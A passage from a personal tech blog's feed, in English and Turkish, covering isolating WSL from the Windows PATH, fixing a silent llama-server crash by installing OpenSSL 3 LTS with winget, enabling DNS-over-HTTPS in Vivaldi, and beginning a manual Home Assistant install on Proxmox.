class="k">$(</span><span class="nb">echo</span><span class="w"> </span><span class="s2">"</span><span class="nv">$PATH</span><span class="s2">"</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>tr<span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="s1">'\n'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-v<span class="w"> </span><span class="s1">'/mnt/c'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>tr<span class="w"> </span><span class="s1">'\n'</span><span class="w"> </span><span class="s1">':'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>sed<span class="w"> </span><span class="s1">'s/:$//'</span><span class="k">)</span> </code></pre></div> <p>Bu komut PATH'ten t&uuml;m <code>/mnt/c/...</code> yollar&inodot;n&inodot; kald&inodot;r&inodot;yor. Ama bu ge&ccedil;ici bir &ccedil;&ouml;z&uuml;m &mdash; her WSL oturumunda &ccedil;al&inodot;&scedil;t&inodot;rman&inodot;z gerekiyor.</p> <p>Ben kal&inodot;c&inodot; &ccedil;&ouml;z&uuml;m&uuml; tercih ettim: <code>wsl.conf</code> ile k&ouml;kten &ccedil;&ouml;zd&uuml;m.</p> <hr/> <h2 id="sonuc-biraz-durust-konusaym">Sonu&ccedil; (Biraz D&uuml;r&uuml;st Konu&scedil;ay&inodot;m)<a class="headerlink" href="#sonuc-biraz-durust-konusaym" title="Permanent link">#</a></h2> <p>Bence burada as&inodot;l ders &scedil;u: WSL'i "Windows'a ba&gbreve;l&inodot; Linux" gibi kullan&inodot;rsan, bir noktada Windows her &scedil;eye bula&scedil;&inodot;yor. Bu sadece pyenv i&ccedil;in de&gbreve;il, her &scedil;ey i&ccedil;in ge&ccedil;erli. Node.js, Java, Ruby, Go &mdash; Windows'ta kurulu olan herhangi bir ara&ccedil;, WSL'in PATH'ine s&inodot;zabilir. Ben en sonunda &scedil;unu yapt&inodot;m:</p> <ul> <li>Windows PATH'ini kestim</li> <li>&Idot;nterop'u kapatt&inodot;m</li> <li>Sistemi izole ettim</li> </ul> <p>Ve garip bir &scedil;ekilde&hellip; her &scedil;ey d&uuml;zeldi 😄 WSL g&uuml;zel ara&ccedil; ama ya onu Linux gibi kullan&inodot;rs&inodot;n ya da Windows karma&scedil;as&inodot;nda kaybolursun. Ben ikinci yolu b&inodot;rak&inodot;p ilkine ge&ccedil;tim. Ve iyi ki de ge&ccedil;mi&scedil;im. E&gbreve;er Windows taraf&inodot;nda da benzer bir pyenv &ccedil;&inodot;kmaz&inodot;na girdiyseniz, <a href="/powershell-pyenv-win-kurulum-hatasi-cozumu/">Powershell pyenv-win Kurulum Hatas&inodot; &Ccedil;&ouml;z&uuml;m&uuml;</a> rehberim tam size g&ouml;re!</p> <hr/> <div class="admonition note"> <p class="admonition-title">K&uuml;&ccedil;&uuml;k bir itiraf Bunu ilk &ccedil;&ouml;zerken baya 'neden python bana d&uuml;&scedil;man oldu' moduna girmi&scedil;tim. Me&gbreve;er olay python de&gbreve;ilmi&scedil;, ortamm&inodot;&scedil;. &Idot;nterop denen &scedil;eyi o g&uuml;n &ouml;&gbreve;rendim. Ve o g&uuml;nden beri WSL'i hep izole kullan&inodot;yorum.</p> </div> <hr/> <h2 id="ilgili-yazlar">&Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/powershell-pyenv-win-kurulum-hatasi-cozumu/">Powershell pyenv-win Kurulum Hatas&inodot; &Ccedil;&ouml;z&uuml;m&uuml;</a></li> <li><a href="/linux-gpu-driver-rehberi/" rel="noopener noreferrer" target="_blank">Linux GPU S&uuml;r&uuml;c&uuml; Rehberi: AMD, Intel ve Nvidia &Idot;&ccedil;in Stabil ve Temiz Kurulum</a></li> <li><a href="/arch-linux-ntsync-aktif-etme-zen-kernel-rehberi/" rel="noopener noreferrer" target="_blank">Arch Linux'ta ntsync Nas&inodot;l Aktif Edilir?</a></li> <li><a href="/vivaldi-doh-dns-over-https-ayari/" rel="noopener noreferrer" target="_blank">Vivaldi'de DoH Ayar&inodot; Nas&inodot;l Yap&inodot;l&inodot;r?</a></li> <li><a href="/proxmox-zfs-home-assistant/" rel="noopener noreferrer" target="_blank">Proxmox + ZFS &Uuml;zerinde Home Assistant Kurulumu</a></li> </ul> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p><code>appendWindowsPath=false</code> sadece PATH'i etkiler, dosya sistemini de&gbreve;il. <code>/mnt/c/</code> h&acirc;l&acirc; eri&scedil;ilebilir.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>VS Code'un WSL eklentisi Remote - WSL ile ba&gbreve;lanabilirsiniz, interop gerektirmez.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-03T01:46:00+03:002026-05-03T01:46:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-03:/en/turboquant-sessiz-cokme-cozumu/

<p>Is llama-server closing silently while using TurboQuant? It turns out OpenSSL files were forgotten. Here is the simple solution to that annoying problem.</p>

<h2 id="our-hopes-were-dashed-why-isnt-turboquant-working">Our Hopes Were Dashed: Why Isn't TurboQuant Working?<a class="headerlink" href="#our-hopes-were-dashed-why-isnt-turboquant-working" title="Permanent link">#</a></h2> <p>As you know, the local AI world throws something new at us every day. Last night, I decided to take a look at the famous <strong>TurboQuant</strong> thing. You know, that technology from Google DeepMind that reduces the KV cache to 3 bits and literally sucks up VRAM... I have an RTX 4060 Ti 16GB card, and I thought, "Man, now I can sail into massive context windows with this." But as it turns out, everything wasn't as rosy as it looked on paper. 🤯</p> <p>I did the installation, everything is in place. But when I clicked on that famous <code>llama-server.exe</code> file (or fired it up from the terminal), what did I see? Nothing! Literally a silent resistance. No error code, no "this file is missing" warning... I click it, it closes instantly. This situation makes you a nervous wreck; I felt like throwing the computer out the window for a moment. Anyway, back to the subject.</p> <h2 id="behind-the-scenes-of-the-silent-crash-status_dll_not_found">Behind the Scenes of the Silent Crash: STATUS_DLL_NOT_FOUND<a class="headerlink" href="#behind-the-scenes-of-the-silent-crash-status_dll_not_found" title="Permanent link">#</a></h2> <p>Interestingly, it didn't give any output even when I ran it from the terminal. It just silently moves to the next line. While wondering, "Maybe the processor couldn't handle it (does it want AVX-512?)," I found myself on GitHub Issues pages. It turns out this isn't a "defect," it's literally a story of forgetfulness.</p> <p>In the Windows CUDA 12.4 version (tqp-v0.1.1) of the <code>TheTom/llama-cpp-turboquant</code> fork, someone forgot to package two very critical files. It's exactly like building a house but forgetting the key inside. 🤦&zwj;&male;️</p> <div class="admonition warning"> <p class="admonition-title">Warning! ⚠️</p> <p>If the program closes for you without any error, it probably means OpenSSL files are missing from your system. This error usually happens silently in the Windows command line.</p> </div> <h2 id="the-solution-openssl-3-lts-to-the-rescue">The Solution: OpenSSL 3 (LTS) to the Rescue<a class="headerlink" href="#the-solution-openssl-3-lts-to-the-rescue" title="Permanent link">#</a></h2> <p>The issue was this: The application needs OpenSSL libraries, namely <code>libssl-3-x64.dll</code> and <code>libcrypto-3-x64.dll</code>, to run. If these aren't installed on your computer (which they usually aren't), the application says "I'm leaving" as soon as it starts.</p> <p>So I immediately jumped in with <code>winget</code>. First I tried the newest version (OpenSSL 4.0), but it turns out our finicky <code>llama-server</code> insisted on version "3". Now you have to start all over again... Luckily, the LTS version came to our rescue.</p> <div class="admonition tip"> <p class="admonition-title">Tip ⚡</p> <p>To solve this problem, paste this command into your terminal: <code>winget install ShiningLight.OpenSSL.LTS.Light</code> This command will provide your system with those missing DLL files it needs.</p> </div> <h2 id="conclusion-let-the-massive-context-enjoyment-begin">Conclusion: Let the Massive Context Enjoyment Begin!<a class="headerlink" href="#conclusion-let-the-massive-context-enjoyment-begin" title="Permanent link">#</a></h2> <p>After installing OpenSSL version 3.x, that silently closing terminal suddenly came to life. It saw my RTX 4060 Ti card and greeted it so well... Now there's no more worry about running out of VRAM while writing code with 128K context. So sometimes the solution isn't inspecting code for hours, but just finding those two missing files and putting them in place. 😎</p> <p>The bottom line is; technology sometimes plays little games like this with us. But when you don't give up and see the output of that final <code>--version</code> command on the screen, you feel relieved, as if the world exists. Now it's time to enjoy TurboQuant! 🚀</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>If it weren't for <a href="https://github.com/TheTom/llama-cpp-turboquant/issues/109" rel="noopener noreferrer" target="_blank">issue 109</a> opened on GitHub, I'd probably still be chasing after AVX-512.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-03T01:46:00+03:002026-05-03T01:46:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-03:/turboquant-sessiz-cokme-cozumu/

<p>TurboQuant kullanırken llama-server sessizce mi kapanıyor? Meğer OpenSSL dosyaları unutulmuş. İşte o sinir bozucu sorunun basit çözümü.</p>

<h2 id="hevesimiz-kursagmzda-kald-turboquant-neden-calsmyor">Hevesimiz Kursa&gbreve;&inodot;m&inodot;zda Kald&inodot;: TurboQuant Neden &Ccedil;al&inodot;&scedil;m&inodot;yor?<a class="headerlink" href="#hevesimiz-kursagmzda-kald-turboquant-neden-calsmyor" title="Permanent link">#</a></h2> <p>Biliyorsun, yerel yapay zeka d&uuml;nyas&inodot; her g&uuml;n yeni bir &scedil;ey f&inodot;rlat&inodot;yor &ouml;n&uuml;m&uuml;ze. D&uuml;n ak&scedil;am da &scedil;u me&scedil;hur <strong>TurboQuant</strong> olay&inodot;na bir bakay&inodot;m dedim. Hani &scedil;u Google DeepMind'&inodot;n KV cache olay&inodot;n&inodot; 3 bit'e kadar d&uuml;&scedil;&uuml;ren, VRAM'i resmen emc&uuml;kleyen o teknoloji var ya... RTX 4060 Ti 16GB kart&inodot;m var, "Ulan," dedim, "&scedil;imdi bununla devasa ba&gbreve;lam (context) pencerelerine yelken a&ccedil;ar&inodot;m." Ama gel g&ouml;r ki, her &scedil;ey &ouml;yle ka&gbreve;&inodot;t &uuml;zerinde durdu&gbreve;u gibi toz pembe de&gbreve;ilmi&scedil;. 🤯</p> <p>Kurulumu yapt&inodot;m, her &scedil;ey yerli yerinde duruyor. Ama o me&scedil;hur <code>llama-server.exe</code> dosyas&inodot;na t&inodot;klad&inodot;&gbreve;&inodot;mda (veya terminalden yard&inodot;rd&inodot;&gbreve;&inodot;mda) bir de ne g&ouml;reyim? Hi&ccedil;bir &scedil;ey! Resmen sessiz bir direni&scedil;. Ne bir hata kodu, ne bir "&scedil;u dosya eksik" uyar&inodot;s&inodot;... Bas&inodot;yorum, an&inodot;nda kapan&inodot;yor. &Idot;nsan&inodot; sinir hastas&inodot; eder bu durum, hani bilgisayar&inodot; camdan a&scedil;a&gbreve;&inodot; atas&inodot;m geldi bir an. Neyse, konuya d&ouml;neyim.</p> <h2 id="sessiz-cokusun-perde-arkas-status_dll_not_found">Sessiz &Ccedil;&ouml;k&uuml;&scedil;&uuml;n Perde Arkas&inodot;: STATUS_DLL_NOT_FOUND<a class="headerlink" href="#sessiz-cokusun-perde-arkas-status_dll_not_found" title="Permanent link">#</a></h2> <p>&Idot;&scedil;in ilgin&ccedil; yan&inodot;, terminalden &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;mda bile hi&ccedil;bir &ccedil;&inodot;kt&inodot; vermiyordu. Sadece sessizce bir alt sat&inodot;ra ge&ccedil;iyor. "Acaba i&scedil;lemci mi yemedi (AVX-512 mi istiyor acaba?)" diye d&uuml;&scedil;&uuml;n&uuml;rken kendimi GitHub Issues sayfalar&inodot;nda buldum. Me&gbreve;er bu bir "kusur" de&gbreve;il, resmen bir unutkanl&inodot;k hikayesiymi&scedil;.</p> <p><code>TheTom/llama-cpp-turboquant</code> fork'unun Windows CUDA 12.4 s&uuml;r&uuml;m&uuml;nde (tqp-v0.1.1) birileri &ccedil;ok kritik iki dosyay&inodot; paketlemeyi unutmu&scedil;. Hani bir evi in&scedil;a edersin de anahtar&inodot;n&inodot; i&ccedil;eride unutursun ya, tam olarak &ouml;yle bir durum. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup> 🤦&zwj;&male;️</p> <div class="admonition warning"> <p class="admonition-title">Dikkat! ⚠️</p> <p>E&gbreve;er sizde de hi&ccedil;bir hata vermeden program kapan&inodot;yorsa, muhtemelen sisteminizde OpenSSL dosyalar&inodot; eksik demektir. Bu hata Windows'un komut sat&inodot;r&inodot;nda genelde sessizce ger&ccedil;ekle&scedil;ir.</p> </div> <h2 id="isin-cozumu-openssl-3-lts-kurtarc-oldu">&Idot;&scedil;in &Ccedil;&ouml;z&uuml;m&uuml;: OpenSSL 3 (LTS) Kurtar&inodot;c&inodot; Oldu<a class="headerlink" href="#isin-cozumu-openssl-3-lts-kurtarc-oldu" title="Permanent link">#</a></h2> <p>Mesele &scedil;uymu&scedil;: Uygulama &ccedil;al&inodot;&scedil;mak i&ccedil;in OpenSSL k&uuml;t&uuml;phanelerine, yani <code>libssl-3-x64.dll</code> ve <code>libcrypto-3-x64.dll</code> dosyalar&inodot;na ihtiya&ccedil; duyuyor. Bunlar bilgisayar&inodot;n&inodot;zda y&uuml;kl&uuml; de&gbreve;ilse (ki genelde olmaz), uygulama ba&scedil;lar ba&scedil;lamaz "Ben gidiyorum," diyor.</p> <p>Ben de hemen <code>winget</code> ile dald&inodot;m olaya. &Ouml;nce en yeni s&uuml;r&uuml;m&uuml; denedim (OpenSSL 4.0), ama me&gbreve;er bizim nazl&inodot; <code>llama-server</code> illa ki "3" versiyonunu istiyormu&scedil;. &Idot;&scedil;in yoksa sil ba&scedil;tan yap... Neyse ki LTS s&uuml;r&uuml;m&uuml; imdad&inodot;m&inodot;za yeti&scedil;ti.</p> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu ⚡</p> <p>Bu sorunu &ccedil;&ouml;zmek i&ccedil;in &scedil;u komutu terminalinize yap&inodot;&scedil;t&inodot;r&inodot;n: <code>winget install ShiningLight.OpenSSL.LTS.Light</code> Bu komut sisteminize ihtiyac&inodot; olan o kay&inodot;p DLL dosyalar&inodot;n&inodot; kazand&inodot;racak.</p> </div> <h2 id="sonuc-devasa-context-keyfi-baslasn">Sonu&ccedil;: Devasa Context Keyfi Ba&scedil;las&inodot;n!<a class="headerlink" href="#sonuc-devasa-context-keyfi-baslasn" title="Permanent link">#</a></h2> <p>OpenSSL 3.x s&uuml;r&uuml;m&uuml;n&uuml; kurduktan sonra o sessizce kapanan terminal bir anda canland&inodot;. RTX 4060 Ti kart&inodot;m&inodot; bir g&ouml;rd&uuml;, bir selamla&scedil;t&inodot; ki sorma... Art&inodot;k 128K context ile kod yazd&inodot;r&inodot;rken VRAM bitti derdi kalmad&inodot;. Yani bazen &ccedil;&ouml;z&uuml;m, saatlerce kod incelemek de&gbreve;il, sadece o kay&inodot;p iki tane dosyay&inodot; bulup yerine koymakm&inodot;&scedil;. 😎</p> <p>&Idot;&scedil;in &ouml;z&uuml;; teknoloji bazen b&ouml;yle k&uuml;&ccedil;&uuml;k oyunlar oynuyor bize. Ama pes etmeyince, o son <code>--version</code> komutunun &ccedil;&inodot;kt&inodot;s&inodot;n&inodot; ekranda g&ouml;r&uuml;nce insan bir rahatl&inodot;yor, hani d&uuml;nya varm&inodot;&scedil; diyorsun. &Scedil;imdi bu TurboQuant'&inodot;n tad&inodot;n&inodot; &ccedil;&inodot;karma vakti! 🚀</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Github &uuml;zerinde a&ccedil;&inodot;lan <a href="https://github.com/TheTom/llama-cpp-turboquant/issues/109" rel="noopener noreferrer" target="_blank">109 numaral&inodot; issue</a> olmasa hala AVX-512 pe&scedil;inde ko&scedil;uyordum herhalde.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> </ol> </div>2025-11-30T16:30:00+03:002025-11-30T16:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/en/vivaldi-doh-dns-over-https-ayari/

<p>How do you set up DoH in the Vivaldi browser to encrypt your internet traffic and bypass restrictions? Here is the fastest method with Cloudflare.</p>

<p>I'm tired of internet service providers (ISPs) snooping on our DNS traffic, wondering "which site did you visit now?" This is precisely why we use a "power user" friendly browser like Vivaldi (I actually wrote extensively about my love for Vivaldi and my entire Linux experience in my <a href="/en/vivaldi-linux-deneyimi/">Why I Love Vivaldi</a> article), but sometimes default settings fall short.</p> <p>Today, we're going to set up that famous <strong>DoH (DNS over HTTPS)</strong> in Vivaldi. In other words, we'll encrypt our DNS queries and pass them through a tunnel that ISPs can't see. And we'll do it using <strong>Cloudflare</strong>. (Why Cloudflare? Because with its 1.1.1.1 infrastructure, it's the fastest and most stable on the market).</p> <p>Let's get this setting done so our internet can breathe a little.</p> <h2 id="step-1-up-to-date-is-a-must-or-is-it">Step 1: Up-to-date is a Must (Or is it?)<a class="headerlink" href="#step-1-up-to-date-is-a-must-or-is-it" title="Permanent link">#</a></h2> <p>First, it is best to make sure Vivaldi is up-to-date. Well, it makes sense. In older versions, these menus might be located elsewhere.</p> <p>Click the Vivaldi logo in the top left, go to <strong>Help &gt; Check for Updates</strong>. If it says "You are already at the latest version," let's continue.</p> <h2 id="step-2-finding-settings-without-getting-lost-in-the-labyrinth">Step 2: Finding Settings Without Getting Lost in the Labyrinth<a class="headerlink" href="#step-2-finding-settings-without-getting-lost-in-the-labyrinth" title="Permanent link">#</a></h2> <p>Now, this part is a bit tricky. Older guides say the setting is under <code>vivaldi://settings/network/</code>. But Vivaldi developers love changing the location of menus.</p> <p>The most reliable way is this:</p> <ol> <li>Press <code>Ctrl + F12</code> on your keyboard (Settings opens).</li> <li>Type <strong>"Secure DNS"</strong> directly into the search bar on the left.</li> <li>For those who don't want to bother, pasting this into the address bar and hitting Enter also works (provided Vivaldi hasn't removed this command): <code>vivaldi://settings/privacy/</code></li> </ol> <div class="admonition tip"> <p class="admonition-title">Short Cut ⚡ Don't get lost in menus. The search box in the settings window is your best friend. Type 'DNS,' and the setting will appear right in front of you.</p> </div> <h2 id="step-3-entering-the-cloudflare-server">Step 3: Entering the Cloudflare Server<a class="headerlink" href="#step-3-entering-the-cloudflare-server" title="Permanent link">#</a></h2> <p>We found the setting location; it's usually hidden near the bottom of the <strong>"Privacy and Security"</strong> tab.</p> <p>There, you will see the <strong>"Use Secure DNS"</strong> option. By default, "With your current service provider" is selected (which is exactly what we are trying to escape).</p> <p>Here's what you need to do in order:</p> <ol> <li>Select the Cloudflare option. If you want to make custom settings, select the <strong>"With Custom"</strong> option.</li> <li>Choose the Cloudflare option in the box next to or below it: <img alt="Vivaldi DoH setting" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/vivaldi-doh-dns-over-https-ayari-xl.webp" srcset="/images/vivaldi-doh-dns-over-https-ayari-sm.webp 300w, /images/vivaldi-doh-dns-over-https-ayari-md.webp 500w, /images/vivaldi-doh-dns-over-https-ayari-lg.webp 800w, /images/vivaldi-doh-dns-over-https-ayari-xl.webp 1200w"/></li> <li>Alternatively, you can paste this address into the address bar: <code>https://doh.dns.sb/dns-query</code> but the risk for this address belongs to you. I use Cloudflare.</li> </ol> <p>You don't need to press Enter or say "Save"; Vivaldi (thanks to the Chromium infrastructure) picks up the setting instantly.</p> <h2 id="result-does-it-work">Result: Does it Work?<a class="headerlink" href="#result-does-it-work" title="Permanent link">#</a></h2> <p>We made the setting, but let's not let the suspicion of "What if it's not working?" eat us up. Open a new tab immediately and go to the <a href="https://1.1.1.1/help" rel="noopener noreferrer" target="_blank">Cloudflare Help</a> page.</p> <p>If it says <strong>"Yes"</strong> in the <strong>"Using DNS over HTTPS (DoH)"</strong> section, congratulations! Your DNS queries are now going encrypted. Your ISP cannot see which site you visited via DNS (they can see it via IP, but that's a topic for another article; I actually covered a similar privacy and leak issue in my <a href="/en/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">How to Install OpenVPN on AWS EC2 and Fix DNS Leak</a> article 😅).</p> <p>Sometimes this setting can cut off the internet on corporate networks or some cafe Wi-Fi. In such a case, uncheck the "Use Secure DNS" box and try again. Technology, after all, sometimes requires turning it off and on again.</p> <p>Enjoy using it freely!</p>2025-11-30T16:30:00+03:002025-11-30T16:30:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/vivaldi-doh-dns-over-https-ayari/

<p>Vivaldi tarayıcısında internet trafiğinizi şifrelemek ve yasakları aşmak için DoH ayarını nasıl yaparsınız? İşte Cloudflare ile en hızlı yöntem.</p>

<p>&Idot;nternet servis sa&gbreve;lay&inodot;c&inodot;lar&inodot;n&inodot;n (ISS) "hangi siteye girdin bakay&inodot;m sen?" diye DNS trafi&gbreve;imizi dikizlemesinden b&inodot;kt&inodot;m usand&inodot;m. S&inodot;rf bu y&uuml;zden Vivaldi gibi "power user" (bizim gibi kurcalamay&inodot; sevenler) dostu bir taray&inodot;c&inodot; kullan&inodot;yoruz (ki Vivaldi'ye olan sevgimi ve t&uuml;m Linux tecr&uuml;belerimi <a href="/vivaldi-linux-deneyimi/">Vivaldi'yi Neden Seviyorum</a> yaz&inodot;mda da uzun uzun anlatm&inodot;&scedil;t&inodot;m) ama varsay&inodot;lan ayarlar bazen yetersiz kal&inodot;yor.</p> <p>Bug&uuml;n Vivaldi'ye &scedil;u me&scedil;hur <strong>DoH (DNS over HTTPS)</strong> ayar&inodot;n&inodot; yapaca&gbreve;&inodot;z. Yani DNS sorgular&inodot;m&inodot;z&inodot; &scedil;ifreleyip, ISS'lerin g&ouml;remeyece&gbreve;i bir t&uuml;nelden ge&ccedil;irece&gbreve;iz. Hem de <strong>Cloudflare</strong> kullanarak. (Neden Cloudflare? &Ccedil;&uuml;nk&uuml; 1.1.1.1 altyap&inodot;s&inodot;yla piyasan&inodot;n en h&inodot;zl&inodot;s&inodot; ve en kararl&inodot;s&inodot;).</p> <p>Hadi &scedil;u ayar&inodot; yapal&inodot;m da internetimiz biraz nefes als&inodot;n.</p> <h2 id="adm-1-guncellik-sart-ya-da-degil-mi">Ad&inodot;m 1: G&uuml;ncellik &Scedil;art (Ya da De&gbreve;il mi?)<a class="headerlink" href="#adm-1-guncellik-sart-ya-da-degil-mi" title="Permanent link">#</a></h2> <p>&Ouml;nce Vivaldi'nin g&uuml;ncel oldu&gbreve;undan emin olmak gerekiyor. Yani mant&inodot;kl&inodot; tabii; eski s&uuml;r&uuml;mlerde bu men&uuml;lerin yeri farkl&inodot; olabilir.</p> <p>Sol &uuml;stteki Vivaldi logosuna t&inodot;klay&inodot;n, <strong>Yard&inodot;m &gt; G&uuml;ncellemeleri Kontrol Et</strong> deyin. "Sen zaten en iyisisin" diyorsa devam edelim.</p> <h2 id="adm-2-labirentte-kaybolmadan-ayarlar-bulmak">Ad&inodot;m 2: Labirentte Kaybolmadan Ayarlar&inodot; Bulmak<a class="headerlink" href="#adm-2-labirentte-kaybolmadan-ayarlar-bulmak" title="Permanent link">#</a></h2> <p>&Scedil;imdi, buras&inodot; biraz kar&inodot;&scedil;&inodot;k. Eski rehberlerde ayar&inodot;n <code>vivaldi://settings/network/</code> alt&inodot;nda oldu&gbreve;u yazar. Ama Vivaldi geli&scedil;tiricileri men&uuml;lerin yerini de&gbreve;i&scedil;tirmeyi &ccedil;ok seviyor.</p> <p>En garantisi &scedil;u:</p> <ol> <li>Klavyeden <code>Ctrl + F12</code> tu&scedil;una bas&inodot;n (Ayarlar a&ccedil;&inodot;l&inodot;r).</li> <li>Sol taraftaki arama &ccedil;ubu&gbreve;una direkt <strong>"G&uuml;venli DNS"</strong> veya &Idot;ngilizce kullan&inodot;yorsan&inodot;z <strong>"Secure DNS"</strong> yaz&inodot;n.</li> <li>U&gbreve;ra&scedil;mak istemeyenler i&ccedil;in adres &ccedil;ubu&gbreve;una &scedil;unu yap&inodot;&scedil;t&inodot;r&inodot;p Enter'a basmak da i&scedil;e yarar (Tabii Vivaldi bu komutu kald&inodot;rmad&inodot;ysa): <code>vivaldi://settings/privacy/</code></li> </ol> <div class="admonition tip"> <p class="admonition-title">K&inodot;sa Yol ⚡ Men&uuml;lerde kaybolmay&inodot;n. Ayarlar penceresindeki arama kutusu sizin en iyi dostunuzdur. 'DNS' yaz&inodot;n, ayar kar&scedil;&inodot;n&inodot;zda biter.</p> </div> <h2 id="adm-3-cloudflare-sunucusunu-girmek">Ad&inodot;m 3: Cloudflare Sunucusunu Girmek<a class="headerlink" href="#adm-3-cloudflare-sunucusunu-girmek" title="Permanent link">#</a></h2> <p>Ayar yerini bulduk, genelde <strong>"Gizlilik ve G&uuml;venlik"</strong> sekmesinin en altlar&inodot;na do&gbreve;ru saklan&inodot;yor.</p> <p>Orada <strong>"G&uuml;venli DNS Kullan"</strong> (Use Secure DNS) se&ccedil;ene&gbreve;ini g&ouml;receksiniz. Varsay&inodot;lan olarak "Mevcut servis sa&gbreve;lay&inodot;c&inodot;n&inodot;zla" se&ccedil;ilidir (ki biz bundan ka&ccedil;maya &ccedil;al&inodot;&scedil;&inodot;yoruz).</p> <p>Yapman&inodot;z gerekenler s&inodot;ras&inodot;yla:</p> <ol> <li>Cloudflare se&ccedil;ene&gbreve;ini i&scedil;aretleyin. E&gbreve;er &ouml;zel ayar yapacaksan&inodot;z <strong>"&Ouml;zel"</strong> (With Custom) se&ccedil;ene&gbreve;ini i&scedil;aretleyin.</li> <li>Yan&inodot;ndaki veya alt&inodot;ndaki kutucu&gbreve;a &scedil;u Cloudflare se&ccedil;ene&gbreve;ini se&ccedil;in: <img alt="Vivaldi DoH ayar&inodot;" class="responsive-img" loading="lazy" sizes="(max-width: 576px) 100vw, (max-width: 992px) 80vw, (max-width: 1400px) 70vw, 60vw" src="/images/vivaldi-doh-dns-over-https-ayari-xl.webp" srcset="/images/vivaldi-doh-dns-over-https-ayari-sm.webp 300w, /images/vivaldi-doh-dns-over-https-ayari-md.webp 500w, /images/vivaldi-doh-dns-over-https-ayari-lg.webp 800w, /images/vivaldi-doh-dns-over-https-ayari-xl.webp 1200w"/></li> <li>Alternatif olarak, adres &ccedil;ubu&gbreve;una &scedil;u adresi yap&inodot;&scedil;t&inodot;rabilirsiniz: <code>https://doh.dns.sb/dns-query</code> fakat bu adres i&ccedil;in risk size ait. Ben Cloudflare kullan&inodot;yorum.</li> </ol> <p>Enter'a basman&inodot;za veya "Kaydet" demenize gerek yok, Vivaldi (Chromium altyap&inodot;s&inodot; sa&gbreve; olsun) an&inodot;nda kap&inodot;yor ayar&inodot;.</p> <h2 id="sonuc-calsyor-mu">Sonu&ccedil;: &Ccedil;al&inodot;&scedil;&inodot;yor mu?<a class="headerlink" href="#sonuc-calsyor-mu" title="Permanent link">#</a></h2> <p>Ayar&inodot; yapt&inodot;k ama "Ya &ccedil;al&inodot;&scedil;m&inodot;yorsa?" &scedil;&uuml;phesi i&ccedil;imizi kemirmesin. Hemen yeni bir sekme a&ccedil;&inodot;n ve <a href="https://1.1.1.1/help" rel="noopener noreferrer" target="_blank">Cloudflare Yard&inodot;m</a> sayfas&inodot;na girin.</p> <p>E&gbreve;er <strong>"Using DNS over HTTPS (DoH)"</strong> k&inodot;sm&inodot;nda <strong>"Yes"</strong> yaz&inodot;yorsa, tebrikler! Art&inodot;k DNS sorgular&inodot;n&inodot;z &scedil;ifreli gidiyor. ISS'niz hangi siteye girdi&gbreve;inizi DNS &uuml;zerinden g&ouml;remiyor (IP &uuml;zerinden g&ouml;rebilir ama o ba&scedil;ka bir makalenin konusu; hatta benzer bir gizlilik ve s&inodot;z&inodot;nt&inodot; konusunu <a href="/aws-ec2-openvpn-kurulumu-dns-leak-duzeltilmesi/">AWS EC2 OpenVPN Kurulumu ve DNS Leak D&uuml;zeltilmesi</a> makalemde ele alm&inodot;&scedil;t&inodot;m 😅).</p> <p>Bazen bu ayar &scedil;irket i&ccedil;i a&gbreve;larda veya baz&inodot; kafe wifi'lar&inodot;nda interneti kesebilir. &Ouml;yle bir durumda "G&uuml;venli DNS" kutucu&gbreve;unu kapat&inodot;p tekrar deneyin. Teknoloji i&scedil;te, bazen a&ccedil;-kapa yapmak gerekiyor.</p> <p>G&uuml;le g&uuml;le, &ouml;zg&uuml;rce kullan&inodot;n!</p>2025-11-30T14:15:00+03:002025-11-30T14:15:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2025-11-30:/en/proxmox-zfs-home-assistant/

<p>A manual Home Assistant installation guide on Proxmox with ZFS and SSD optimizations (q35, ssd=1), without hiding behind ready-made scripts.</p>

<p>Sometimes I ask myself, "Why do you choose the hard way when there's an easy one?" The internet is full of "install Home Assistant with a single line of code" scripts. Tteck's scripts, for example, are legendary, no doubt about it. But that control freak inside me won't stay quiet. I can't sleep thinking, "What if this script mounts my disk to the wrong place?" or "What is it actually doing in the background?"</p> <p>The other day, while updating the server (and partially out of fear of spilling coffee on my keyboard), I said to myself; let's do the most optimized, cleanest installation manually, without using scripts, but by "borrowing" those fine performance settings (Q35, SSD flags, etc.) that the scripts use.</p> <p>If you are like me and say "I need to know what's under the hood," you're in the right place. We're going to make Proxmox 9 and ZFS dance with Home Assistant.</p> <h2 id="1-capturing-the-image-which-one-was-the-latest">1. Capturing the Image (Which one was the latest?)<a class="headerlink" href="#1-capturing-the-image-which-one-was-the-latest" title="Permanent link">#</a></h2> <p>First, let's SSH into the Proxmox server. You could use the web console, but when copying and pasting, that console window sometimes acts up, letters get displaced... No need for that.</p> <div class="highlight"><pre><span></span><code>ssh<span class="w"> </span>root@vhost01 </code></pre></div> <p>Now, there's no need to wander around the Home 